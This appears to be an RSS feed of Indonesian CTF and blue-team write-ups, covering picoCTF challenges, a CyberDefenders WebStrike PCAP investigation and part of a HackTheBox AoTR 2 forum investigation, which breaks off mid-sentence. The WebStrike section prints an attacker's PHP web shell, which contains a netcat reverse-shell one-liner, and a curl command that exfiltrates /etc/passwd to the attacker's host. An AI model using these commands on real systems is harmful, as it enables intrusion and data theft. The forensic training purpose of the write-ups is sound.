byte</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AJlZYNqhAM2SBwEEVeiK_w.png" /></figure><h4>Step 3:</h4><p>Selanjutnya adalah decode data payload dari 7 frame yang sudah ditemukan sebelumnya. Dan ini adalah hasil decoding payload dari frame tersebut</p><pre>cGljb0NURg==  picoCTF<br>ezF0X3c0cw==  {1t_w4s<br>bnRfdGg0dA==  nt_th4t<br>XzM0c3lfdA==  _34sy_t<br>YmhfNHJfZQ==  bh_4r_e<br>NWU4Yzc4ZA==  5e8c78d<br>fQ==          }<br><br>full flag: picoCTF{1t_w4snt_th4t_34sy_tbh_4r_e5e8c78d}</pre><h3>Event-Viewing</h3><h4>Scenario</h4><blockquote>One of the employees at your company has their computer infected by malware! Turns out every time they try to switch on the computer, it shuts down right after they log in. The story given by the employee is as follows:</blockquote><ol><li><em>They installed software using an installer they downloaded online</em></li><li><em>They ran the installed software but it seemed to do nothing</em></li><li><em>Now every time they bootup and login to their computer, a black command prompt screen quickly opens and closes and their computer shuts down instantly.</em></li></ol><blockquote>See if you can find evidence for the each of these events and retrieve the flag (split into 3 pieces) from the correct logs! Download the Windows Log file <a href="https://challenge-files.picoctf.net/c_verbal_sleep/123d9b79cadb6b44ab6ae912f25bf9cc18498e8addee851e7d349416c7ffc1e1/Windows_Logs.evtx">here</a></blockquote><h4>Solve</h4><p>Pertama kalian wajib download file log Windows nya di <a href="https://challenge-files.picoctf.net/c_verbal_sleep/123d9b79cadb6b44ab6ae912f25bf9cc18498e8addee851e7d349416c7ffc1e1/Windows_Logs.evtx">sini</a> ya. Kemudian buka Event Viewer melalui menu <strong>Start. </strong>Event Viewer adalah sistem <em>default </em>pada Windows untuk mencatat hingga menganalisis aktivitas log, sistem dan aplikasi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*Hqz_IRSzFTyTbsOUrDLWpg.png" /></figure><p>Ini adalah tampilan awal dari Event Viewer, disini kita bisa analisis file log yang sudah di download sebelumnya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n7oDN8HF-63cST69OPSJTw.png" /></figure><h4>Step 1:</h4><p>Untuk</p><p><strong>Actions &gt; Open Saved Log</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*jX0buq5qT3C0j125kh3joA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*qdiHQjMDA63EehbSG_MFaA.png" /></figure><p>untuk memfilternya, pergi ke menu <strong>Actions &gt; Filter Current Log &gt; Includes/Excludes Event IDs. </strong>Masukkan event ID nya yaitu <strong>1033</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*SREm-7yCKvdF0FsKSxjELg.png" /></figure><p>ketemuu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ZxOvK6k8t3s7k8XoUI9jg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*7m5IoiSk4z0MIfIdzg26pQ.png" /></figure><pre>picoCTF{Ev3nt_vi3wv3r_</pre><h4>Step 2:</h4><p>Lalu analisis selanjutnya adalah user menjalankan program yang udah diinstall, awalnya tidak ada perubahan apapun tapi beberapa saat kemudian komputer user mengalami <em>crash </em>dan <em>shutdown </em>secara tiba-tiba. Kejadian ini berlangsung setiap kali user mencoba booting dan login ke komputer <strong><em>(persistence)</em></strong></p><p>Artinya software yang telah diinstall memiliki <em>privilege </em>untuk mengubah sistem baik sebagian atau secara keseluruhan. Pada sistem operasi Windows, salah satu komponen utama yang mengatur konfigurasi sistem adalah <strong>Windows Registry</strong>. Registry berfungsi sebagai <em>database </em>terpusat yang menyimpan pengaturan sistem, aplikasi, <em>service</em>, hingga mekanisme <em>startup</em>.</p><p>Untuk mengetahui event ID yang berhubungan dengan perubahan nilai Registry, bisa dicari melalui browser. Dan berikut adalah Event ID yang bisa dianalisis</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*Lm35BMAszWKX9Ua3S4lX_g.png" /></figure><p>Selanjutnya, kita bisa analisis event ID tersebut dengan pergi ke menu <strong>Actions &gt; Filter Current Log &gt; Includes/Excludes Event IDs. </strong>Masukkan event ID nya yaitu <strong>4657</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W1AT_n2n_oUFdC7qZDRb0w.png" /></figure><p>aFDf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/302/1*7YtxlxUrRSWPqSY5pi2-QA.png" /></figure><pre>1s_a_pr3tty_us3ful_</pre><h4>Step 3:</h4><p>User pasti mencoba menghidupkan komputernya beberapa kali karena selalu <em>shutdown </em>secara tiba-tiba. Nah mekanisme <em>shutdown </em>ini tidak mungkin dilakukan oleh user secara sengaja, melainkan adanya indikasi <strong>planned shutdown</strong> dari software <strong>Totally_Legit_Software</strong> yang membuat komputer menjadi <em>crash</em>.</p><p>Dari sini kita bisa mencari event ID yang berhubungan dengan mekanisme <em>shutdown</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*2hFlfqhzfedOLJ6Y_g-SfA.png" /></figure><p>ID 1074 sangat relevan dengan kasus ini, dimana aplikasi secara sengaja melakukan <em>shutdown </em>atau <em>restart. </em>Lakukan filtering log event melalui menu <strong>Actions &gt; Filter Current Log &gt; Includes/Excludes Event IDs </strong>dan masukkan event ID <strong>1074</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eMwd8W17DD38UZNoS_5Eng.png" /></figure><p>.kbj lknk</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/215/1*h9ammApAOfhABjOwDvricw.png" /></figure><pre>t00l_81ba3fe9}</pre><pre>So the full flag iiissss 🥁🥁:                                                                                                                                                                                                                                                         picoCTF{Ev3nt_vi3wv3r_1s_a_pr3tty_us3ful_t00l_81ba3fe9}</pre><blockquote><em>Akhirnya kita dapat menyelesaikan tantangan dari </em><strong><em>Ph4nt0m 1ntrud3r</em></strong><em> dan </em><strong><em>Event-Viewing</em></strong><em>, semoga write-up ini bermanfaat buat kalian yang sedang mengerjakan </em>chall <em>nya atau lagi bingung dan kesulitan dalam menyelesaikannya (/≧▽≦)/. </em>See you on the next challenge<em> 👋🏼</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf046b3bcfa5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberDefenders | WebStrike Write-Up]]></title>
            <link>https://medium.com/@nasakennedy40/cyberdefenders-webstrike-6934a5ef63db?source=rss-f6cd7b1f4b6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/6934a5ef63db</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Aqilah Syaima' Fadel]]></dc:creator>
            <pubDate>Thu, 26 Feb 2026 03:51:13 GMT</pubDate>
            <atom:updated>2026-02-26T08:23:33.222Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello guys, saya kembali (✿◡‿◡). Di artikel ini kita bakal ngebahas sebuah <em>challenge </em>dari platform CyberDefenders yaitu <strong>WebStrike. </strong>Lab ini terdiri dari 6 <em>chall. </em>Disini aku jelaskan panduan dan tahapan dalam menyelesaikan Lab <strong>WebStrike</strong>. Enjoy 🍵</p><h4>Scenario</h4><blockquote>A suspicious file was identified on a company web server, raising alarms within the intranet. The Development team flagged the anomaly, suspecting potential malicious activity. To address the issue, the network team captured critical network traffic and prepared a PCAP file for review.<br>Your task is to analyze the provided PCAP file to uncover how the file appeared and determine the extent of any unauthorized activity.</blockquote><p>Untuk bisa menjawab <em>chall, </em>buka Lab dengan klik <strong>Start Lab Machine &gt; Open, </strong>kamu akan diarahkan ke lab Ubuntu. Lalu klik folder <strong>Start Here</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*50EiRpWQOr0p8uIDHFT3Rg.png" /></figure><p>Pilih folder <strong><em>Artifacts</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*qjFdXaixDSiTyufpn-3OvA.png" /></figure><p>Pilih file <strong>WebStrike.pcap</strong>. File inilah yang akan kita analisis untuk menjawab <em>chall</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*HYzgKX-B5RCzssi0m1Kyog.png" /></figure><h4><strong>Q1: Identifying the geographical origin of the attack facilitates the implementation of geo-blocking measures and the analysis of threat intelligence. From which city did the attack originate?</strong></h4><p>Dalam file <strong>WebStrike.pcap, </strong>terdapat serangkaian log traffic jaringan. Ada 2 alamat IP yang saling berkomunikasi yaitu:</p><ul><li><strong>Source (IP Penyerang)</strong><br>117.11.88.124</li><li><strong>Destination (IP Target)</strong><br>24.49.63.79</li></ul><p>Dalam kasus ini, IP 117.11.88.124 melakukan metode <em>three-way handshake </em>yang dilakukan pada protocol TCP untuk meminta koneksi ke server target (24.49.63.79). Ciri ciri komunikasi three-way handshake adalah:</p><ul><li><em>source IP </em>mengirimkan packet SYN ke<em> destination IP</em></li><li><em>destination IP</em> menyetujui packet <em>source IP</em> dan memberi konfirmasi SYN, ACK</li><li><em>source IP </em>menerima konfirmasi dan mengirimkan packet ACK ke <em>destination IP</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*pG-nZrSw6Gg8GhhyqN_oLw.png" /></figure><p>Dari log komunikasi tersebut, kita bisa mencari kota berdasarkan IP source dari log. Gunakan <a href="https://whatismyipaddress.com/">https://whatismyipaddress.com</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*bX74ifQaZ8p0E5nAXt9Qng.png" /></figure><p>Alamat IP dari 117.11.88.124 adalah kota Tianjin</p><blockquote><strong><em>Flag: Tianjin</em></strong></blockquote><h4>Q2: Knowing the attacker’s User-Agent assists in creating robust filtering rules. What’s the attacker’s Full User-Agent?</h4><p>User-Agent adalah perangkat lunak (seperti browser, <em>bot</em> pencarian, atau aplikasi) yang bertindak atas nama pengguna untuk mengambil, merender, dan menampilkan konten situs web dari server. User-Agent mengirimkan <em>string</em> identitas yang berisi informasi browser, sistem operasi, dan versi perangkat ke server agar konten dapat disesuaikan secara responsif.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kCLl2bE7y4kcdiyxKFfycg.png" /></figure><p>Pada salah satu packet dengan protokol HTTP, bisa dilihat bahwa informasi dari user-agent penyerang adalah <strong><em>Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0</em></strong></p><blockquote><strong><em>Flag: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0</em></strong></blockquote><h4>Q3: We need to determine if any vulnerabilities were exploited. What is the name of the malicious web shell that was successfully uploaded?</h4><p>Metode GETdan POSTadalah dua metode HTTP utama untuk mengirim data dari browser (klien) ke server. GET mengirim data melalui URL (terlihat, terbatas, aman untuk bookmark), digunakan untuk mengambil data. SementaraPOST mengirim data melalui isi HTTP request (tersembunyi, tidak terbatas, lebih aman). Umumnya POST digunakan untuk memproses/mengubah data sensitif atau besar</p><p>Langkah pertama adalah masukkan filter http.request.method == POST untuk menampilkan log dengan protokol HTTP dan metode POST saja. Terdapat 2 packet dengan metode POST. mari kita bedah satu-satu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*LthABWLF4vCMRBGYPWpEQA.png" /></figure><p>Pada packet 53 terdapat percobaan mengupload file <strong>image.php </strong>namun tidak berhasil</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*0J00MJdx8OGmC7erJwYPPA.png" /></figure><p>Dan di packet 63, file dengan nama image.jpg.php diupload dan berhasil.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*Iq3-qSRaQvb8QVRdczIEsg.png" /></figure><blockquote><strong><em>Flag: image.jpg.php</em></strong></blockquote><h4>Q4: Identifying the directory where uploaded files are stored is crucial for locating the vulnerable page and removing any malicious files. Which directory is used by the website to store the uploaded files?</h4><p>Karena kita sudah menemukan file berbahaya yang diupload oleh penyerang, maka kita akan mencari lokasi tempat file tersebut disimpan.</p><h4>Steps:</h4><ul><li>masukkan filer http.request.method == GET</li><li>follow http stream pada log dengan info GET /reviews/uploads/image.jpg.php HTTP/1.1</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*FqD6-4vUbq9-BC0KZ0BnqA.png" /></figure><p>Dapat dilihat bahwa file <strong>image.jpg.php </strong>menuju ke direktori /reviews/uploads/</p><blockquote><strong><em>Flag: /reviews/uploads/</em></strong></blockquote><h4>Q5: Which port, opened on the attacker’s machine, was targeted by the malicious web shell for establishing unauthorized outbound communication?</h4><p><em>Reverse shell</em> merupakan teknik pasca-eksploitasi di mana sistem korban melakukan koneksi keluar (outbound) ke mesin penyerang. Berbeda dengan bind shell yang membuka port di sisi korban, reverse shell justru menginisiasi koneksi ke port yang sudah dibuka dan menunggu koneksi di sisi attacker. Teknik ini efektif untuk melewati pembatasan firewall inbound.</p><p>Untuk menjawab soal, analisis dilakukan melalui dua tahap utama:</p><ol><li>Analisis payload web shell (static analysis)</li><li>Analisis lalu lintas jaringan menggunakan Wireshark (dynamic analysis)</li></ol><h4>Analisis payload webshell</h4><p>Berdasarkan HTTP stream hasil upload file, terlihat bahwa attacker mengunggah file dengan nama image.jpg.php yang berisi payload</p><pre>&lt;?php system (&quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 117.11.88.124 8080 &gt;/tmp/f&quot;); ?&gt;</pre><p>Dari perintah tersebut dapat diidentifikasi parameter koneksi:</p><ul><li>Target IP (Attacker): <strong>117.11.88.124</strong></li><li>Target Port: <strong>8080</strong></li><li>Protokol: TCP (default netcat)</li></ul><h4>Analisis Trafik Jaringan</h4><p>Untuk memverifikasi koneksi reverse shell, lakukan filtering menggunakan (tcp.port == 8080) &amp;&amp; (ip.src == 24.49.63.79).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WGOAj8-sP7lFU2h9fkPHmw.png" /></figure><p>Berdasarkan hasil analisis capture jaringan, terlihat adanya koneksi TCP yang berasal dari alamat IP 24.49.63.79 (server korban) menuju 117.11.88.124 (penyerang). Koneksi tersebut menggunakan port tujuan 8080, sementara port sumber 54448 merupakan port sementara (ephemeral) yang secara otomatis diberikan oleh sistem operasi. Pola ini menunjukkan bahwa komunikasi diinisiasi dari sisi korban ke attacker, sehingga mengonfirmasi mekanisme <em>reverse shell </em>sebagaimana yang telah teridentifikasi pada payload.</p><p>Pemilihan port 8080 juga memiliki keuntungan. Sebagai port alternatif HTTP yang umum digunakan untuk layanan web non-standar, trafik pada port ini cenderung terlihat normal dan tidak mencurigakan. Selain itu, port 8080 lebih kecil kemungkinannya diblokir oleh firewall dibandingkan port acak atau port yang identik dengan aktivitas reverse shell, sehingga membantu attacker dalam menghindari deteksi berbasis pola atau signature tertentu.</p><blockquote><strong><em>Flag: 8080</em></strong></blockquote><h4>Q6: Recognizing the significance of compromised data helps prioritize incident response actions. Which file was the attacker attempting to exfiltrate?</h4><p>Data exfiltration adalah proses pemindahan atau pencurian data oleh hacker baik dari server, komputer atau perangkat lainnya secara diam-diam dan memindahkannya ke pihak eksternal.</p><h4>Analisis Reverse Shell (TCP Stream 13)</h4><p>Gunakan filter (tcp.port == 8080 &amp;&amp; ip.src == 24.49.63.79)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5VAKQL9J0FlSGhVe6W0qeA.png" /></figure><p>Berdasarkan evidence Wireshark pada TCP Stream 13, terlihat attacker berhasil mendapatkan akses reverse shell ke server korban melalui port 8080. Beberapa command yang dijalankan attacker bertujuan untuk:</p><ol><li>$ whoami: Menunjukkan attacker memperoleh akses sebagai user <strong>www-data</strong>.</li><li>$ uname -a: Mengidentifikasi sistem operasi target (Ubuntu 22.04).</li><li>$ pwd: Untuk menunjukkan direktori kerja saat itu, yaitu /var/www/html/reviews/uploads</li><li>$ ls /home: Menampilkan user yang tersedia pada sistem yaitu ubuntu</li></ol><p>Evidence paling penting terlihat pada perintah $ cat /etc/passwd yang menampilkan output</p><pre>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin/nologin<br>...<br>ubuntu:x:1000:1000:ubuntu,,,:/home/ubuntu:/bin/bash</pre><p>Kesimpulannya adalah attacker berhasil membaca isi file /etc/passwd melalui reverse shell. File /etc/passwd merupakan file sensitif yang berisi daftar akun user pada sistem Linux. File ini sangat penting karena:</p><ul><li>Mengungkap daftar user sistem</li><li>Dapat digunakan untuk enumerasi akun</li><li>Bisa menjadi langkah awal untuk privilege escalation</li></ul><h4>Analisis Data Exfiltration (TCP Stream 14)</h4><p>Setelah membaca file /etc/passwd, attacker mencoba mengirim data keluar server menggunakan perintah $ curl -X POST -d /etc/passwd <a href="http://117.11.88.124:443/">http://117.11.88.124:443/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*Kgm67Yd7os40PdkvspyTYw.png" /></figure><p>Pada <strong>TCP Stream 14</strong>, terlihat request berikut:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*xvc9_OVgHnh6kWJKZb2hVg.png" /></figure><p>Attacker mengakses file <strong>/etc/passwd</strong> melalui reverse shell dengan menjalankan perintah cat, yang menunjukkan upaya pengambilan informasi sensitif dari sistem. Setelah itu, attacker mencoba mengirimkan file tersebut ke server eksternal <strong>117.11.88.124</strong> melalui port <strong>443</strong> menggunakan metode HTTP POST dengan bantuan perintah curl.</p><p>Namun, berdasarkan respons yang terekam, server tujuan menggunakan <strong>Python SimpleHTTPServer</strong> yang tidak mendukung metode POST, sehingga permintaan ditolak dengan status <strong>HTTP 501 Unsupported method</strong>. Meskipun eksfiltrasi gagal, bukti perintah dan HTTP request yang tercatat menunjukkan adanya niat dan percobaan eksfiltrasi terhadap file <strong>/etc/passwd</strong>.</p><blockquote><strong><em>Flag: passwd</em></strong></blockquote><p>Akhirnya kita dapat menyelesaikan tantangan dari lab WebStrike, semoga write-up ini bermanfaat buat kalian yang sedang mengerjakan lab ini atau lagi bingung dan kesulitan dalam menyelesaikan setiap <em>chall </em>nya(/≧▽≦)/. <em>See you on the next challenge </em>👋🏼</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6934a5ef63db" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB | AoTR 2: Operation Winter Blackout Write-Up]]></title>
            <link>https://medium.com/@nasakennedy40/hackthebox-aotr-2-a-call-from-the-museum-write-up-70744d3f183a?source=rss-f6cd7b1f4b6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/70744d3f183a</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Aqilah Syaima' Fadel]]></dc:creator>
            <pubDate>Wed, 25 Feb 2026 04:39:19 GMT</pubDate>
            <atom:updated>2026-02-26T00:31:41.790Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*JpAsGLGpq2-m79jpC1taKw.png" /></figure><p>Hi every-<em>nyan</em>, saya kembali (/≧▽≦)/. Di artikel ini kita bakal ngebahas Lab AoTR 2: Operation Winter Blackout, series dari AoTR 1 yang terdiri dari 20 <em>chall. </em>Disini aku jelaskan panduan dan tahapan dalam menyelesaikan Lab AoTR 2: Operation Winter Blackout. Enjoy 🍵</p><h4>Synopsis</h4><blockquote>A phishing attack on a logistics company has led investigators to a <a href="https://advent-of-the-relics-forum.htb.blue/">private criminal forum</a>. The crew behind it has been planning something big for months. Your job is to dig through their communications and uncover who they are, what they’re targeting, and how they plan to disappear.</blockquote><blockquote>First, you will need to gain access to the forum using the password <strong>SnowBlackOut_2026!</strong>, which you found in your <a href="https://app.hackthebox.com/sherlocks/Advent%2520of%2520The%2520Relics%25201%2520-%2520A%2520Call%2520from%2520the%2520Museum?tab=play_sherlock">previous investigation</a>, to unlock the intel inside.</blockquote><p>Sebelumnya, kita masuk ke forum Advent melalui URL <a href="https://advent-of-the-relics-forum.htb.blue/">https://advent-of-the-relics-forum.htb.blue/</a>. lalu log in pakai kredensial <strong>SnowBlackOut_2026! </strong>yang kita dapatkan dari <em>challenge </em>AoTR 1. Di dalam forum itu kita akan menganalisis dan mencari informasi untuk menyelesaikan <em>chall.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ajngJbNr2oJq6XJjrhAbmw.png" /></figure><h4>Task 1: How many suspects are using this forum?</h4><p>Buat cari tahu berapa tersangka yang menggunakan forum Advent, kita bisa lihat melalui menu <strong>Members</strong>, dan akan muncul <em>username </em>anggota forumnya yang terdiri dari Curator, Bellringer, SnowFox, Driver_BUD, dan Ledger.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*WZnM9-ndjkHHCvIadzBqXQ.png" /><figcaption>Advent Forum Members</figcaption></figure><blockquote><strong><em>Flag: 5</em></strong></blockquote><h4>Task 2: What is the username of the group’s leader?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*il45v5MbW0woIX9wB7VhUA.png" /></figure><p>Usernamenya adalah Curator (bisa dilihat di task 1), karena dibawah bio nya ada role <strong>“Ops lead” </strong>yang artinya “Pemimpin Operasional”. Dialah yang mengatur dan memanajemen segala prosedur serta kebutuhan anggota hingga project akal-akalan mereka xixi😹</p><blockquote><strong><em>Flag: Curator</em></strong></blockquote><h4>Task 3: What is Driver_BUD’s real first name?</h4><p>Kalau ngomongin nama asli, yang terpikir di awal adalah “grup circle”. Grup yang isinya jokes2 random, atau ngebahas politik, bahkan sampe bahas konspirasi juga ada disana wkwk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*9zpvjNtBTrTbQqa94op8-A.png" /></figure><p>Di forum Advent ini, ada sebuah kategori yang isinya ngga ngebahas masalah project ataupun yang berbau kerjaan. Namanya <strong>Off Topic, </strong>dan isinya ngebahas tentang hewan peliharaan, playlist buat ngoding, dll. Karena pertanyaannya tentang nama Driver_BUD yang asli, aku kepikiran buat cek <em>thread </em>yang ditulis sama dia aja, dan hasilnya ketemu tuh si SnowFox ngucapin kalimat duka ke Driver pakai nama aslinya (Daniel). Dari situ bisa ditarik kesimpulan kalo nama aslinya Driver adalah Daniel. 😎</p><h4>Alternative:</h4><p>Selain kategori <strong>Off Topic</strong>, ada beberapa kategori yang juga mention nama aslinya Driver_BUD, tapi aku lupa dimana aja wkwkw..</p><blockquote><strong><em>Flag: Daniel</em></strong></blockquote><h4>Task 4: What is the codename of the operation?</h4><p>Tiap operasi atau project pasti ga keren kalau ngga ada codename nya kan 🕵🏼‍♂️. Biasanya hal-hal yang berkaitan secara langsung atau ngga langsung dengan <em>operation </em>bakal dibahas di <em>thread </em>terpisah, dengan menggunakan kata kunci <strong>“operation” </strong>di pencarian forum kita menemukan <em>thread </em>bernama <strong><em>Project “Winter Blackout”: Operational Scope &amp; Goal</em></strong>. Sesuai namanya project mereka disebut <strong><em>Winter Blackout</em></strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*8o_M_CwLWWB5KktU6x4vMA.png" /></figure><blockquote><strong><em>Flag: Winter Blackout</em></strong></blockquote><h4>Task 5: What single word is the trigger code that activates all nodes?</h4><p>Bell bertugas merancang dan membuat program untuk project <em>Winter Blackout</em>, untuk memudahkan operasi dia membuat 1 kata sebagai <em>trigger</em> untuk seluruh sistem yang dibangun.</p><p>Untuk mengetahui pembahasan tentang kata tersebut, kita bisa gunakan pencarian di forum dengan kata kunci <strong>“trigger”</strong>. Hasilnya ada 2 <em>thread </em>yang membahas tentang<strong> “trigger”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*COs8Udk5oEMpWm6EGae1lg.png" /><figcaption>malware and stuff threads</figcaption></figure><p>Yang pertama adalah kategori <strong><em>Malware and Stuff</em></strong><em> </em>bagian <em>thread Midnight Trigger Protocol &amp; API Finalization</em>, disini Bell membahas tentang finalisasi protokol namun tidak disebutkan secara detail karena berjaga-jaga jika forum disusupi</p><p>Tapi di <em>thread Sync Logic: “Midnight” Trigger Protocol Finalized, </em>Bell menyampaikan kalau <em>trigger logic </em>sudah diselesaikan dan steril. Disebutkan bahwa sinkronisasi perangkat dan jaringan diprogram via NTP Pool dan memanfaatkan <em>jitter </em>(variasi waktu kedatangan paket data) untuk menyembunyikan pola, dan kata yang digunakan adalah <strong><em>FROST.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Eg1w1hYEqUwODi6cZSSQqw.png" /></figure><blockquote><strong><em>Flag: FROST</em></strong></blockquote><h4>Task 6: What is the name of the fake exhibition used as cover for the heist?</h4><p>Dalam operasi tersebut, mereka membuat sebuah pameran palsu untuk mengelabui tujuan sebenarnya. Kita bisa cari “exhibition” di pencarian dan kita analisis <em>thread </em>apa saja yang muncul.</p><p>Dalam kategori <strong>Operations</strong>, terdapat satu thread yang membahas target pameran bernama <strong>Miracles</strong>. Curator menyebutkan kalau barang-barang pengganti untuk pameran palsu udah dipesan secara khusus ke seniman dari Bucharest dan detailnya dibahas di folder “logistics”. Artinya ini bisa mengarah ke kategori <strong>Physical Logistics </strong>yang secara spesifik membahas prosedur, rute transportasi, serta penyimpanan barang-barang untuk operasi mereka.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*A4-aNi1dgXu_pbUnjRIiyw.png" /></figure><p>Dan benar saja, didalam <strong>Physical Logistics</strong> ada satu <em>thread </em>bernama <strong><em>Forged Manifests: “Miracles of Winter” Exhibition </em></strong>yang isinya pemalsuan dokumen hingga skenario pameran.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1qomhNonaYmJ-xvY96Q11Q.png" /></figure><blockquote><strong><em>Flag: Miracles of Winter</em></strong></blockquote><h4>Task 7: What time was the single word trigger scheduled to execute on New Year’s Eve?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*a_MMkPL99E_I48zvJWuAdA.png" /></figure><p>Jika membahas tentang jadwal atau waktu eksekusi sebuah operasi, maka biasanya akan dibahas secara detail di kategori <strong>Operations. </strong>dalam thread <strong><em>Sync Logic: “Midnight” Trigger Protocol Finalized, </em></strong>Curator menginstruksikan bahwa protokol Midnight dimulai pada pukul 23:59:50</p><blockquote><strong><em>Flag: 23:59:50</em></strong></blockquote><h4>Task 8: What is the full name of the phishing target at CALE?</h4><p>Ketika mengidentifikasi target <em>phishing </em>ini, aku menemukan pemetaan organisasi internal oleh SnowFox pada <em>thread </em><strong><em>Target Analysis: CALE Advent Health Center IT structure </em></strong>yang meng-<em>highlight:</em></p><ul><li>Cabang <strong>Belgrade </strong>memiliki <strong>12 staf</strong></li><li><strong>4 orang koordinator logistik </strong>memiliki <strong>akses ke <em>manifest system </em></strong>(sistem dokumentasi dan pengawasan)</li><li>Role <em>Logistics coordinator</em> ditandai sebagai target bernilai tinggi</li></ul><p>Kalimat kunci:</p><blockquote>“The logistics coordinators have access to the manifest system. That’s our target.”</blockquote><p>Ini mempersempit fokus target ke jabatan dan lokasi tertentu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*qGOdeNSEex2MD6W43ewmEQ.png" /></figure><p>Selain itu, disebutkan juga kalau salah satu koordinator logistik bernama Milos D. sering mengunggah tentang kesulitannya selama bekerja dan juga mengalami stress sehingga ada kemungkinan dia akan mencari sesuatu yang berbeda dan menarik perhatiannya, apalagi yang resmi. Bisa bayangin se capek apa beliau.</p><p>Situasi ini dimanfaatkan oleh SnowFox dengan teknik <em>social engineering</em>, yaitu teknik memanipulasi psikologi manusia dalam mencari serta memanfaatkan kesalahan manusia untuk mendapat akses serta informasi sensitif dari pengguna. Dalam kasus ini teknik yang digunakan adalah <em>phishing </em>melalui email.</p><p>Kemudian aku menemukan <em>thread </em><strong><em>Operation Winter Blackout: Patient Zero (Belgrade)</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*7zzWaMaYe7RviRANwItwrw.png" /></figure><p>Disana, Snowfox mengonfirmasi bahwa email berhasil dikirim ke daftar target di Belgrade. Dengan subject email berupa “URGENT” yang akan menarik perhatian pengguna ketika melihat email tersebut, dan disebutkan bahwa target utamanya adalah <strong>Kamil Poltavez</strong> karena dianggap berpotensi untuk mengklik email dari analisis penggunaan / jadwal hariannya.</p><blockquote><strong><em>Flag: Kamil Poltavez</em></strong></blockquote><h4>Task 9: What make and model is the truck used for transport?</h4><p>Dalam proses penelusuran kategori <strong>Physical Logistics, </strong>ada banyak <em>threads</em> yang ngebahas persiapan operasional di lapangan. Salah satu <em>thread </em>yang relevan bernama <strong><em>Vehicle Prep: Volvo FH &amp; Cold Weather Config</em></strong>. Dari judulnya aja udah ketahuan kalau <em>thread </em>tersebut membahas persiapan kendaraan transport utama dalam operasi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*p5zy7dJ6-towlLO_RfQ4_Q.png" /></figure><p>Untuk memastikan informasi tersebut valid dan bukan sekadar rencana, isi percakapan dalam thread dianalisis lebih lanjut. Di dalamnya, Driver_BUD menyebutkan kalau dia telah memilih model <strong>2012 FH</strong>, disertai detail teknis seperti kondisi mesin saat cuaca dingin, kebutuhan ban musim dingin, rantai salju, serta rencana pemasangan <em>kill switch</em> untuk GPS tracker di dalam kabin.</p><p>Nah korelasi antara judul <em>thread </em>dan isi percakapan memperkuat kesimpulan bahwa kendaraan transport yang dimaksud adalah sebuah 